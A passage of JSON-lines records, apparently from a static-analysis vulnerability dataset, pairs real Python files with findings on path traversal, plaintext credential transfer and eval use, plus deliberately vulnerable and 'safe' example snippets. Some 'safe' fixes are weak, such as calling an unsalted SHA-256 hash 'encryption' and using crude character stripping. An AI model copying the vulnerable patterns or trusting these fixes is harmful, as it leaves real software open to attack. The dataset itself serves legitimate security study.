file_ext) as f:\n18. \t\tdata = f.read()\n19. \n20. \treturn render(request, '/success.html', {'data':data})\nLine 13-15: This is secure because it uses replace() to filter out characters vulnerable to path traversal.", "contexts": [{"lineNo": 63, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 64, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 85, "eventType": "source", "messageKey": "synz.COMMON.value.passed.to", "params": {"arg0": "get_file_mysql"}}, {"lineNo": 85, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "get_file_mysql"}}, {"lineNo": 85, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "connect"}}]}} {"id": "d8e62a10ca6246de4188213c2bb1b63e93063ededd51e641c1cd74f9a442f089", "license": {"spdx": ["Apache-2.0"], "repo": "ec-nextgeoss/dcs-noa-stamps-deploy", "path": "src/main/app-resources/pub_clean/pub_clean.py", "repo_head_hexsha": "cb58e40794cb067f8a66c863cdaae5b935572af5", "stack_hexsha": "b29bbedbfd9b7542832cd51bd47fdcea2b8f1049", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal and Resource Injection", "issueDescriptionEn": "When unverified external inputs are used to access system resources, attackers can manipulate the input values to access resources protected by the system, which lead to create vulnerability. Attackers can exploit this to modify or delete resources, leak system information, and cause service failure due to the conflicts between system resources.\nIn Python, using an unverified external input for functions that open a process, such as `subprocess.popen()`, or functions that open a pipe, such as `os.pipe()`, or for connecting a socket might cause the Path Traversal and Resource Injection.\nUse filters that can remove characters that are vulnerable to directory traversal attacks, such as /, \\, .., for external input used as a file name.", "issueLineNumber": 239, "entireCode": "#!/opt/anaconda/bin/python\n\nimport sys\nimport atexit\nimport os\nimport shutil\nimport subprocess\nfrom datetime import datetime\nfrom stat import *\nimport re\nimport traceback\nimport zipfile\nimport zlib\nimport ckanxml\nimport storeterradue\n\n# import the ciop functions (e.g. copy, log)\nimport cioppy\nciop = cioppy.Cioppy()\n\n# define the exit codes\nSUCCESS = 0\nERR_CLEANUP = 2\nERR_TIME = 3\nERR_ZIP = 4\nERR_KML = 5\nERR_JPG = 6\nERR_HARVEST = 7\nERR_ACCESS = 8\n\n# add a trap to exit gracefully\ndef clean_exit(exit_code):\n log_level = 'INFO'\n if exit_code != SUCCESS:\n log_level = 'ERROR' \n \n msg = { SUCCESS: 'Processing successfully concluded',\n ERR_CLEANUP: 'Failed cleaning master folder',\n ERR_TIME: 'Calculation of process duration failed. File STAMPS.log may not exist or it is incomplete',\n ERR_ZIP: 'Failed to zip and publish INSAR folder or plot files',\n ERR_KML: 'Failed to create kml',\n ERR_JPG: 'Failed to create jpg',\n ERR_HARVEST: 'Publish to harvest service failed',\n ERR_ACCESS: 'Failed changing perissions to process folder'\n }\n \n ciop.log(log_level, msg[exit_code]) \n \ndef processdur(fstampslog):\n try:\n with open(fstampslog, 'r') as flog:\n loglines=flog.read()\n flog.close()\n \n st_start_time = re.search('\\n(.*)(?= STAMPS Will process patch subdirectories)',loglines,re.MULTILINE).group(1)\n st_end_time = re.search('\\n(.*)(?= PS_SMOOTH_SCLA Finished)',loglines,re.MULTILINE).group(1)\n start_time = datetime.strptime(st_start_time, '%d-%b-%Y %H:%M:%S')\n end_time = datetime.strptime(st_end_time, '%d-%b-%Y %H:%M:%S')\n \n dur = end_time - start_time\n return dur\n\n except:\n raise\n \ndef zipdir(path, ziph):\n # ziph is zipfile handle\n for root, dirs, files in os.walk(path):\n for file in files + dirs:\n ziph.write(os.path.join(root, file),\\\n os.path.relpath(os.path.join(root, file), os.path.join(path, os.path.pardir)),\\\n compress_type=zipfile.ZIP_DEFLATED)\n\ndef zipfiles(filelist, ziph):\n # ziph is zipfile handle\n for f in filelist:\n ziph.write(f, os.path.relpath(f, os.path.join(os.path.dirname(f), os.path.pardir)),\\\n compress_type=zipfile.ZIP_DEFLATED)\n\n\ndef main():\n # Loops over all the inputs\n\n for inputfile in sys.stdin:\n # report activity in log\n ciop.log('INFO', 'The StaMPS processing folder is: ' + inputfile)\n \n processfolder = inputfile.replace(\"\\t\",\"\").replace(\"\\n\",\"\").replace(\"\\r\",\"\")\n\n # Find processing time from STAMPS.log \n try:\n dur = processdur(os.path.join(processfolder,'STAMPS.log'))\n st_dur = str(dur)\n ciop.log('INFO', 'StaMPS PS processing time steps 1-7 : ' + st_dur)\n except:\n traceback.print_exc()\n clean_exit(ERR_TIME)\n\n kml=ciop.getparam('kml')\n if kml=='yes':\n # create kml\n try:\n home = os.path.join(os.environ['_CIOP_APPLICATION_PATH'],'utils')\n runkml = os.path.join(home,'StaMPS_4.1b/rt_createkml/run_createkml.sh')\n os.chdir(processfolder)\n ciop.log('INFO', 'Create KML')\n kmlpoints = ciop.getparam('kmlpoints')\n cmdlist = [ runkml, kmlpoints]\n ciop.log('INFO', 'Command :' + ' '.join(cmdlist))\n res=subprocess.call(cmdlist)\n if res!=0:\n clean_exit(ERR_KML)\n assert(res == 0)\n except:\n traceback.print_exc()\n clean_exit(ERR_KML)\n # create jpg\n try:\n home = os.path.join(os.environ['_CIOP_APPLICATION_PATH'],'utils')\n runjpg = os.path.join(home,'StaMPS_4.1b/run_matlab.sh')\n os.chdir(processfolder)\n ciop.log('INFO', 'Create jpg')\n cmdlist = [ runjpg, 'plotvdo.exe']\n ciop.log('INFO', 'Command :' + ' '.join(cmdlist))\n res=subprocess.call(cmdlist)\n if res!=0:\n clean_exit(ERR_KML)\n assert(res == 0)\n except:\n traceback.print_exc()\n clean_exit(ERR_KML)\n\n\n pub=ciop.getparam('pub')\n if pub=='yes':\n # zip INSAR folder and publish metalink\n try:\n # Compress the folder and define the zip file\n ciop.log('INFO', 'Compressing processing folder :'+processfolder)\n #zipfolder = shutil.make_archive(processfolder, 'zip', processfolder)\n zipfolder=processfolder+'.zip'\n zipf = zipfile.ZipFile(zipfolder, mode='w', allowZip64 = True)\n zipdir(processfolder, zipf)\n zipf.close()\n # Publish the zipped folder\n ciop.log('INFO', 'Publishing ' + zipfolder)\n ciop.publish(zipfolder, metalink=True)\n except:\n traceback.print_exc()\n clean_exit(ERR_ZIP)\n\n pub2=ciop.getparam('pub2')\n if pub2=='yes':\n # zip folder with plot files\n try:\n ciop.log('INFO', 'Compressing plot files')\n zipfolder=os.path.join(os.path.dirname(processfolder),'plotfiles.zip')\n zipf = zipfile.ZipFile(zipfolder, mode='w', allowZip64 = True)\n plot_files_list=['mean_v.mat', 'parms.mat', 'ph2.mat', 'phuw2.mat', 'ps2.mat', 'ps_plot_v-dso.mat',\\\n 'psver.mat', 'rc2.mat', 'scla2.mat', 'scn2.mat', 'tca2.mat', 'parms_aps.mat', 'gevelo.kml','mv2.mat', \\\n 'plotvdo.jpg', 'plotvdo.fig', 'ckaninfo.xml']\n plot_files_created=[]\n for f in plot_files_list:\n fp=os.path.join(processfolder,f)\n if os.path.exists(fp):\n plot_files_created.append(fp)\n if len(plot_files_created)>0:\n ciop.log('INFO', 'Compressing :'+str(plot_files_created))\n zipfiles(plot_files_created, zipf)\n zipf.close()\n ciop.log('INFO', 'Publishing ' + zipfolder)\n ciop.publish(zipfolder, metalink=True)\n else:\n ciop.log('INFO', 'No plot files to publish')\n except:\n traceback.print_exc()\n clean_exit(ERR_ZIP)\n\n harvestfiles = [\n {'name':'gevelo.kml', 'content_type':'text/xml'},\n {'name':'plotvdo.jpg', 'content_type':'image/jpeg'},\n {'name':'ckaninfo.xml', 'content_type':'text/xml'}\n ]\n harvest=ciop.getparam('harvest')\n if harvest!='no':\n ciop.log('INFO', 'Creating CKAN xml')\n harvestdir = ckanxml.updatexml(processfolder, os.path.join(os.environ['_CIOP_APPLICATION_PATH'], 'pub_clean'),processfolder)\n if harvest==\"yes\":\n try:\n ciop.log('INFO', 'Sending files for harvesting')\n storeterradue.sendfiles(harvestfiles, processfolder, harvestdir)\n except:\n traceback.print_exc()\n clean_exit(ERR_HARVEST)\n elif harvest==\"delete\":\n try:\n ciop.log('INFO', 'Deleting CKAN xml and files from harvest destination')\n storeterradue.deletefiles(harvestfiles, harvestdir)\n except:\n traceback.print_exc()\n clean_exit(ERR_HARVEST)\n\n\n \n del_proc=ciop.getparam('cleanup')\n if os.path.exists(processfolder) and del_proc==\"yes\":\n try:\n ciop.log('INFO', 'Removing processing folder ' + processfolder)\n shutil.rmtree(processfolder)\n except:\n traceback.print_exc()\n clean_exit(ERR_CLEANUP)\n\n waccess=ciop.getparam('waccess')\n if waccess==\"yes\":\n try:\n processdir = os.path.dirname(processfolder)\n ciop.log('INFO', 'Giving write permissions recursively to processing folder ' + processdir)\n #os.chmod(processfolder,os.stat(processfolder)[ST_MODE] | S_IRWXG | S_IRWXO)\n for dirpath, dirnames, filenames in os.walk(processdir):\n for dname in dirnames:\n try:\n os.chmod(os.path.join(dirpath, dname),os.stat(os.path.join(dirpath, dname))[ST_MODE] | S_IRWXG | S_IRWXO)\n except:\n traceback.print_exc()\n for fname in filenames:\n try:\n os.chmod(os.path.join(dirpath, fname), os.stat(os.path.join(dirpath, fname))[ST_MODE] | S_IWGRP | S_IWOTH | S_IRUSR | S_IRGRP | S_IROTH)\n except:\n traceback.print_exc()\n except:\n traceback.print_exc()\n clean_exit(ERR_ACCESS)\n\n\n break\n \ntry:\n main()\nexcept SystemExit as e:\n if e.args[0]:\n clean_exit(e.args[0])\n raise\nelse:\n atexit.register(clean_exit, 0)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def get_info(request):\n5. \trequest_file = request.POST.get('request_file')\n6. \tfilename, file_ext = os.path.splitext(request_file)\n7. \tfile_ext = file_ext.lower()\n8. \n9. if file_ext not in ['.txt', '.csv']:\n10. \t\treturn render(request, '/error.html', {'error':'Unable to open file.'})\n11. \n12. with open(request_file) as f:\n13. \t\tdata = f.read()\n14. \n15. \treturn render(request, '/success.html', {'data':data})\nLine 12: An external input of request_file is directly used as a parameter of open() method, which is vulnerable to path traversal.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def get_info(request):\n5. \trequest_file = request.POST.get('request_file')\n6. \n7. filename, file_ext = os.path.splitext(request_file)\n8. \tfile_ext = file_ext.lower()\n9. \n10. if file_ext not in ['.txt', '.csv']:\n11. \t\treturn render(request, '/error.html', {'error':'Unable to open file.'})\n12. \n13. filename = filename.replace('.', '')\n14. \tfilename = filename.replace('/', '')\n15. \tfilename = filename.replace('\\\\', '')\n16. \n17. with open(filename + file_ext) as f:\n18. \t\tdata = f.read()\n19. \n20. \treturn render(request, '/success.html', {'data':data})\nLine 13-15: This is secure because it uses replace() to filter out characters vulnerable to path traversal.", "contexts": [{"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "log"}}, {"lineNo": 51, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "open"}}, {"lineNo": 52, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "re.search"}}, {"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "group"}}, {"lineNo": 56, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "re.search"}}, {"lineNo": 56, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "group"}}, {"lineNo": 57, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "strptime"}}, {"lineNo": 58, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "strptime"}}, {"lineNo": 84, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 86, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "log"}}, {"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "replace"}}, {"lineNo": 92, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "os.path.join"}}, {"lineNo": 92, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "processdur"}}, {"lineNo": 93, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "str"}}, {"lineNo": 94, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "log"}}, {"lineNo": 100, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "101"}}, {"lineNo": 103, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "os.path.join"}}, {"lineNo": 104, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "os.path.join"}}, {"lineNo": 104, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 107, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "getparam"}}, {"lineNo": 107, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 108, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 110, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.call"}}, {"lineNo": 239, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "main"}}, {"lineNo": 239, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.call"}}]}} {"id": "33e82151aaa61a281469c6c6c1615dd63e56e9ba560917ca8ae328f251bf798e", "license": {"spdx": ["MIT"], "repo": "Facco98/TwitchBotPy", "path": "bot/Bot.py", "repo_head_hexsha": "27b4fb0f76542db68621b52ada316bf00fbf68d2", "stack_hexsha": "80723d94b3de6b981e622070fc675bae6d441510", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Sensitive Information Transfer in Plaintext", "issueDescriptionEn": "The Sensitive Information Transfer in Plaintext checker finds instances of transferring sensitive information without encrypting it.\nIf data containing important user or system information is sent or received in plaintext, this poses a security vulnerability allowing unauthorized users to sniff sensitive data from the communication channel.\nSensitive information transferring via communication channels must be encrypted. If necessary, secure channels such as SSL or HTTPS should be used.", "issueLineNumber": 82, "entireCode": "import websocket\nfrom threading import Thread\nfrom bot.Command import Command\nimport time\n\nclass Bot:\n\n def __init__(self, username, password, host):\n self.__commands = dict()\n self._username = username\n self._password = password\n self.__host = host\n self.__threadStarted = False\n self.__thread = None\n\n\n def connect(self):\n self.__websocket = websocket.create_connection(self.__host)\n\n\n def join(self, channel):\n self.__websocket.send(\"JOIN #\" + channel)\n\n def send(self, msg):\n self.__websocket.send(msg)\n\n def send_message_to(self, channel, message=\"\"):\n self.__websocket.send(\"PRIVMSG #\" + channel + \" :\" + message)\n\n def start_listening(self, callback):\n try:\n if not self.__threadStarted:\n self.__thread = Thread(target=self.__listen_function__, args=(callback,))\n self.__thread.deamon = True\n self.__threadStarted = True\n self.__thread.start()\n except Exception:\n pass\n\n\n def __listen_function__(self, callback):\n try:\n while self.__threadStarted:\n received = self.__websocket.recv()\n callback(received)\n except Exception:\n pass\n\n def stop_listening(self):\n self.__threadStarted = False\n self.__thread = None\n\n def disconnect(self):\n if self.__threadStarted:\n self.stop_listening()\n self.__websocket.close()\n\n def add_command(self, command):\n if isinstance(command, Command):\n self.__commands[command.name()] = command\n else:\n raise ValueError(\"\\\"command\\\" must be an instance of class Command\")\n\n def responds_to(self, cmd):\n return cmd in self.__commands\n\n def execute_command(self, cmd, params):\n if self.responds_to(cmd):\n self.__commands[cmd].execute(params)\n\n\nclass TwitchBot(Bot):\n\n def __init__(self, username, password):\n super().__init__(username, password, \"ws://irc-ws.chat.twitch.tv:80\")\n self.on_message = self.__default_on_message\n self.on_command = self.__default_on_command\n self.unknown_command = self.__defualt_unknown_command\n\n def connect(self, channels=[]):\n super().connect()\n super().send(\"PASS \" + self._password)\n super().send(\"NICK \" + self._username)\n for channel in channels:\n self.join(channel)\n\n def start_listening(self, callback=None ):\n if callback is None:\n super().start_listening(self.dispatch)\n else:\n super().start_listening(callback)\n\n def dispatch(self, msg):\n if msg == \"PING :tmi.twitch.tv\":\n super().send(\"PONG :tmi.twitch.tv\")\n else:\n try:\n finenome = msg.index(\"!\")\n who = msg[1:finenome]\n\n inizioCanale = msg.index(\"#\")\n fineCanale = msg.index(\" :\")\n\n canale = msg[inizioCanale+1:fineCanale]\n content = msg[fineCanale+2: ]\n if content.startswith(\"!\"):\n cmd, other = self.__parse_command(content+\" \")\n self.on_command(cmd.strip(), other.strip(), who, canale)\n else:\n self.on_message(content.strip(), who, canale)\n except Exception:\n pass\n\n def __parse_command(self, str):\n\n try:\n finecomando = str.find(\" \")\n cmd = str[1:finecomando]\n content = str[finecomando+1:]\n return cmd, content\n except Exception as ex:\n pass\n\n\n\n def __default_on_message(self, msg, who, channel):\n pass\n\n def __default_on_command(self, cmd, other, who, channel):\n if super().responds_to(cmd):\n super().execute_command(cmd, [other, who, channel])\n else:\n self.unknown_command(cmd, who, channel)\n\n def __defualt_unknown_command(self, cmd, who, channel):\n super().send_message_to(\"#\"+channel, \"@\" + who + \", unknown command\")\n\n\n", "dangerousExampleEn": "1. from hashlib import sha256\n2. from Crypto.Hash import SHA256\n3. \n4. \n5. def bad_send(request):\n6. username = request.GET[\"username\"]\n7. password = request.GET[\"password\"]\n8. with socket.socket() as s:\n9. s.bind(('some.host.url.com', 9876))\n10. s.send(bytes(username, encoding='utf-8'))\n11. s.send(bytes(password, encoding='utf-8'))\nLine 11: Transmission of password, as plain text without encryption, to the server via a socket is occurring.", "safeExampleEn": "1. from hashlib import sha256\n2. from Crypto.Hash import SHA256\n3. \n4. \n5. def safe_send(request):\n6. username = request.GET[\"username\"]\n7. password = request.GET[\"password\"]\n8. with socket.socket() as s:\n9. s.bind(('some.host.url.com', 9876))\n10. s.sendall(bytes(username, encoding='utf-8'))\n11. h = SHA256.new(bytes(password, encoding='utf-8'))\n12. s.sendall(h.digest())\nLine 11: Before transmitting a password through the network, it is necessary to encrypt the password.", "contexts": [{"lineNo": 82, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "selfself._password"}}, {"lineNo": 82, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "send"}}]}} {"id": "f204da29c79aa7602e1c868d6fd0b239bc0dc954adb4d7afbb09ebb46ee16960", "license": {"spdx": ["Apache-2.0"], "repo": "AnnaWyszomirska/test", "path": "add_new_group.py", "repo_head_hexsha": "45b7b441cfb4924ca99910d3ee13893da1c7fcba", "stack_hexsha": "7d057a59fb001f5f1abe0ba471cb9906cc6c9863", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Sensitive Information Transfer in Plaintext", "issueDescriptionEn": "The Sensitive Information Transfer in Plaintext checker finds instances of transferring sensitive information without encrypting it.\nIf data containing important user or system information is sent or received in plaintext, this poses a security vulnerability allowing unauthorized users to sniff sensitive data from the communication channel.\nSensitive information transferring via communication channels must be encrypted. If necessary, secure channels such as SSL or HTTPS should be used.", "issueLineNumber": 27, "entireCode": "# -*- coding: utf-8 -*-\nfrom selenium.webdriver.chrome.webdriver import WebDriver\nfrom group import Group\nimport unittest\n\ndef is_alert_present(wd):\n try:\n wd.switch_to_alert().text\n return True\n except:\n return False\n\nclass test_add_new_group (unittest.TestCase):\n def setUp(self):\n self.wd = WebDriver(executable_path=\"C:\\\\chromedriver_win32\\\\chromedriver.exe\")\n self.wd.implicitly_wait(60)\n\n def open_homepage(self, wd):\n wd.get(\"http://localhost/addressbook/addressbook/\")\n\n def login(self, wd, username, password):\n wd.find_element_by_name(\"user\").click()\n wd.find_element_by_name(\"user\").clear()\n wd.find_element_by_name(\"user\").send_keys(username)\n wd.find_element_by_name(\"pass\").click()\n wd.find_element_by_name(\"pass\").clear()\n wd.find_element_by_name(\"pass\").send_keys(password)\n wd.find_element_by_xpath(\"//form[@id='LoginForm']/input[3]\").click()\n\n def open_group_page(self, wd):\n wd.find_element_by_link_text(\"grupy\").click()\n\n def add_new_group(self, wd, group):\n wd.find_element_by_name(\"new\").click()\n wd.find_element_by_name(\"group_name\").click()\n wd.find_element_by_name(\"group_name\").clear()\n wd.find_element_by_name(\"group_name\").send_keys(group.header)\n wd.find_element_by_name(\"group_header\").click()\n wd.find_element_by_name(\"group_header\").clear()\n wd.find_element_by_name(\"group_header\").send_keys(group.name)\n wd.find_element_by_name(\"group_footer\").click()\n wd.find_element_by_name(\"group_footer\").clear()\n wd.find_element_by_name(\"group_footer\").send_keys(group.footer)\n # submit group creation\n wd.find_element_by_name(\"submit\").click()\n\n def return_to_group_page(self, wd):\n wd.find_element_by_link_text(\"group page\").click()\n\n def logout(self, wd):\n wd.find_element_by_link_text(\"Wyloguj się\").click()\n\n def test_add_full_group(self):\n success = True\n wd = self.wd\n self.open_homepage(wd)\n self.login(wd, username=\"admin\", password=\"\")\n self.open_group_page(wd)\n self.add_new_group(wd, Group(header=\"New group\", name=\"New group\", footer=\"New group\"))\n self.return_to_group_page(wd)\n self.logout(wd)\n self.assertTrue(success)\n\n def test_add_empty_group(self):\n success = True\n wd = self.wd\n self.open_homepage(wd)\n self.login(wd, username=\"admin\", password=\"\")\n self.open_group_page(wd)\n self.add_new_group(wd, Group(header=\"\", name=\"\", footer=\"\"))\n self.return_to_group_page(wd)\n self.logout(wd)\n self.assertTrue(success)\n\n def tearDown(self):\n self.wd.quit()\n\nif __name__ == '__main__':\n unittest.main()", "dangerousExampleEn": "1. from hashlib import sha256\n2. from Crypto.Hash import SHA256\n3. \n4. \n5. def bad_send(request):\n6. username = request.GET[\"username\"]\n7. password = request.GET[\"password\"]\n8. with socket.socket() as s:\n9. s.bind(('some.host.url.com', 9876))\n10. s.send(bytes(username, encoding='utf-8'))\n11. s.send(bytes(password, encoding='utf-8'))\nLine 11: Transmission of password, as plain text without encryption, to the server via a socket is occurring.", "safeExampleEn": "1. from hashlib import sha256\n2. from Crypto.Hash import SHA256\n3. \n4. \n5. def safe_send(request):\n6. username = request.GET[\"username\"]\n7. password = request.GET[\"password\"]\n8. with socket.socket() as s:\n9. s.bind(('some.host.url.com', 9876))\n10. s.sendall(bytes(username, encoding='utf-8'))\n11. h = SHA256.new(bytes(password, encoding='utf-8'))\n12. s.sendall(h.digest())\nLine 11: Before transmitting a password through the network, it is necessary to encrypt the password.", "contexts": [{"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "password"}}, {"lineNo": 27, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "send_keys"}}]}} {"id": "505ea4cdceb48bb852ca82c992ae157e34fa76f19287d0baafe223be75ea358f", "license": {"spdx": ["Unlicense"], "repo": "smailedge/pro", "path": "jj.py", "repo_head_hexsha": "f86347d4368bc97aa860b37caa9ba10e84a93738", "stack_hexsha": "b9ce404499c062b33e8623b446d27dfebe6f033f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 1007, "entireCode": "# -*- coding: utf-8 -*-\n\nfrom linepy import *\nfrom datetime import datetime\nfrom time import sleep\nfrom humanfriendly import format_timespan, format_size, format_number, format_length\nimport time, random, sys, json, codecs, threading, glob, re, string, os, requests, subprocess, six, ast, pytz, urllib, urllib.parse\n#==============================================================================#\nbotStart = time.time()\n\ncl = LINE()\n#cl = LINE(\"TOKEN KAMU\")\n#cl = LINE(\"Email\",\"Password\")\ncl.log(\"Auth Token : \" + str(cl.authToken))\nchannelToken = cl.getChannelResult()\ncl.log(\"Channel Token : \" + str(channelToken))\n\nclMID = cl.profile.mid\nclProfile = cl.getProfile()\nlineSettings = cl.getSettings()\noepoll = OEPoll(cl)\n#==============================================================================#\nreadOpen = codecs.open(\"read.json\",\"r\",\"utf-8\")\nsettingsOpen = codecs.open(\"temp.json\",\"r\",\"utf-8\")\n\nread = json.load(readOpen)\nsettings = json.load(settingsOpen)\n\n\nmyProfile = {\n\t\"displayName\": \"\",\n\t\"statusMessage\": \"\",\n\t\"pictureStatus\": \"\"\n}\n\nmsg_dict = {}\nbl = [\"\"]\nmyProfile[\"displayName\"] = clProfile.displayName\nmyProfile[\"statusMessage\"] = clProfile.statusMessage\nmyProfile[\"pictureStatus\"] = clProfile.pictureStatus\n#==============================================================================#\ndef restartBot():\n print (\"[ INFO ] BOT RESETTED\")\n backupData()\n python = sys.executable\n os.execl(python, python, *sys.argv)\ndef backupData():\n try:\n backup = settings\n f = codecs.open('temp.json','w','utf-8')\n json.dump(backup, f, sort_keys=True, indent=4, ensure_ascii=False)\n backup = read\n f = codecs.open('read.json','w','utf-8')\n json.dump(backup, f, sort_keys=True, indent=4, ensure_ascii=False)\n return True\n except Exception as error:\n logError(error)\n return False\ndef logError(text):\n cl.log(\"[ ERROR ] \" + str(text))\n time_ = datetime.now()\n with open(\"errorLog.txt\",\"a\") as error:\n error.write(\"\\n[%s] %s\" % (str(time), text))\ndef sendMessageWithMention(to, mid):\n try:\n aa = '{\"S\":\"0\",\"E\":\"3\",\"M\":'+json.dumps(mid)+'}'\n text_ = '@x '\n cl.sendMessage(to, text_, contentMetadata={'MENTION':'{\"MENTIONEES\":['+aa+']}'}, contentType=0)\n except Exception as error:\n logError(error)\ndef helpmessage():\n helpMessage = \"\"\"╔═════════════\n╠♥ ✿✿✿ 十香の特製Bot ✿✿✿ ♥\n╠SR 設定已讀點\n╠LR 查看誰已讀\n╠Nk @ 標註踢人\n╠Nk 全部再見\n╠══✪〘 其他功能略 〙✪═══\n\"\"\"\n return helpMessage\nwait = {\n \"share\":False,\n \"sender\" :{},\n}\nadmin =['ud5ff1dff426cf9e3030c7ac2a61512f0','ua10c2ad470b4b6e972954e1140ad1891',clMID]\nowners = [\"ua10c2ad470b4b6e972954e1140ad1891\",\"ud5ff1dff426cf9e3030c7ac2a61512f0\"]\n#if clMID not in owners:\n# python = sys.executable\n# os.execl(python, python, *sys.argv)\n#==============================================================================#\ndef lineBot(op):\n try:\n if op.type == 0:\n print (\"[ 0 ] END OF OPERATION\")\n return\n if op.type == 5:\n print (\"[ 5 ] NOTIFIED ADD CONTACT\")\n if settings[\"autoAdd\"] == True:\n cl.sendMessage(op.param1, \"感謝您加入本帳為好友w\".format(str(cl.getContact(op.param1).displayName)))\n if op.type == 13:\n print (\"[ 13 ] NOTIFIED INVITE GROUP\")\n group = cl.getGroup(op.param1)\n if settings[\"autoJoin\"] == True:\n cl.acceptGroupInvitation(op.param1)\n if op.type == 19:\n if op.param2 not in owners:\n if op.param2 in owners:\n pass\n elif wait[\"protect\"] == True:\n settings[\"blacklist\"][op.param2] = True\n cl.kickoutFromGroup(op.param1,[op.param2])\n else:\n cl.sendMessage(op.param1,\"\")\n else:\n cl.sendMessage(op.param1,\"\")\n if op.type == 24:\n print (\"[ 24 ] NOTIFIED LEAVE ROOM\")\n if settings[\"autoLeave\"] == True:\n cl.leaveRoom(op.param1)\n if op.type == 25 or op.type == 26:\n K0 = admin\n msg = op.message\n if wait[\"share\"] == True:\n K0 = msg._from\n else:\n K0 = admin\n# if op.type == 25:\n# to = msg.to\n# receiver = str(to.displayName)\n# print (\"send\" + receiver + str(text.lower()))\n# if op.type == 26:\n# to = msg._from\n# sender = str(to.displayName)\n# print (\"receiver\" + sender + str(text.lower()))\n if op.type == 26 or op.type == 25:\n print (\"[ 25 ] SEND MESSAGE\")\n msg = op.message\n text = msg.text\n msg_id = msg.id\n receiver = msg.to\n sender = msg._from\n if msg.toType == 0:\n if sender != cl.profile.mid:\n to = sender\n else:\n to = receiver\n else:\n to = receiver\n if msg.contentType == 0:\n if text is None:\n return\n#==============================================================================#\n if sender in K0:\n if text.lower() == 'help':\n helpMessage = helpmessage()\n cl.sendMessage(to, str(helpMessage))\n cl.sendContact(to,\"u0a59c278b1529476ddb210cb5e827ffc\")\n cl.sendContact(to,\"ufb30e2203f44bc7b72e28b09a88c9bbd\")\n#==============================================================================#\n elif text.lower() == 'speed':\n start = time.time()\n cl.sendMessage(to, \"計算中...\")\n elapsed_time = time.time() - start\n cl.sendMessage(to,format(str(elapsed_time)))\n elif text.lower() == 'restart':\n cl.sendMessage(to, \"重新啟動中...\")\n time.sleep(5)\n cl.sendMessage(to, \"重啟成功,請重新登入\")\n restartBot()\n elif text.lower() == 'runtime':\n timeNow = time.time()\n runtime = timeNow - botStart\n runtime = format_timespan(runtime)\n cl.sendMessage(to, \"系統已運作 {}\".format(str(runtime)))\n elif text.lower() == 'about':\n try:\n arr = []\n owner = \"ua10c2ad470b4b6e972954e1140ad1891\"\n creator = cl.getContact(owner)\n contact = cl.getContact(clMID)\n grouplist = cl.getGroupIdsJoined()\n contactlist = cl.getAllContactIds()\n blockedlist = cl.getBlockedContactIds()\n ret_ = \"╔══[ 關於使用者 ]\"\n ret_ += \"\\n╠ 使用者名稱 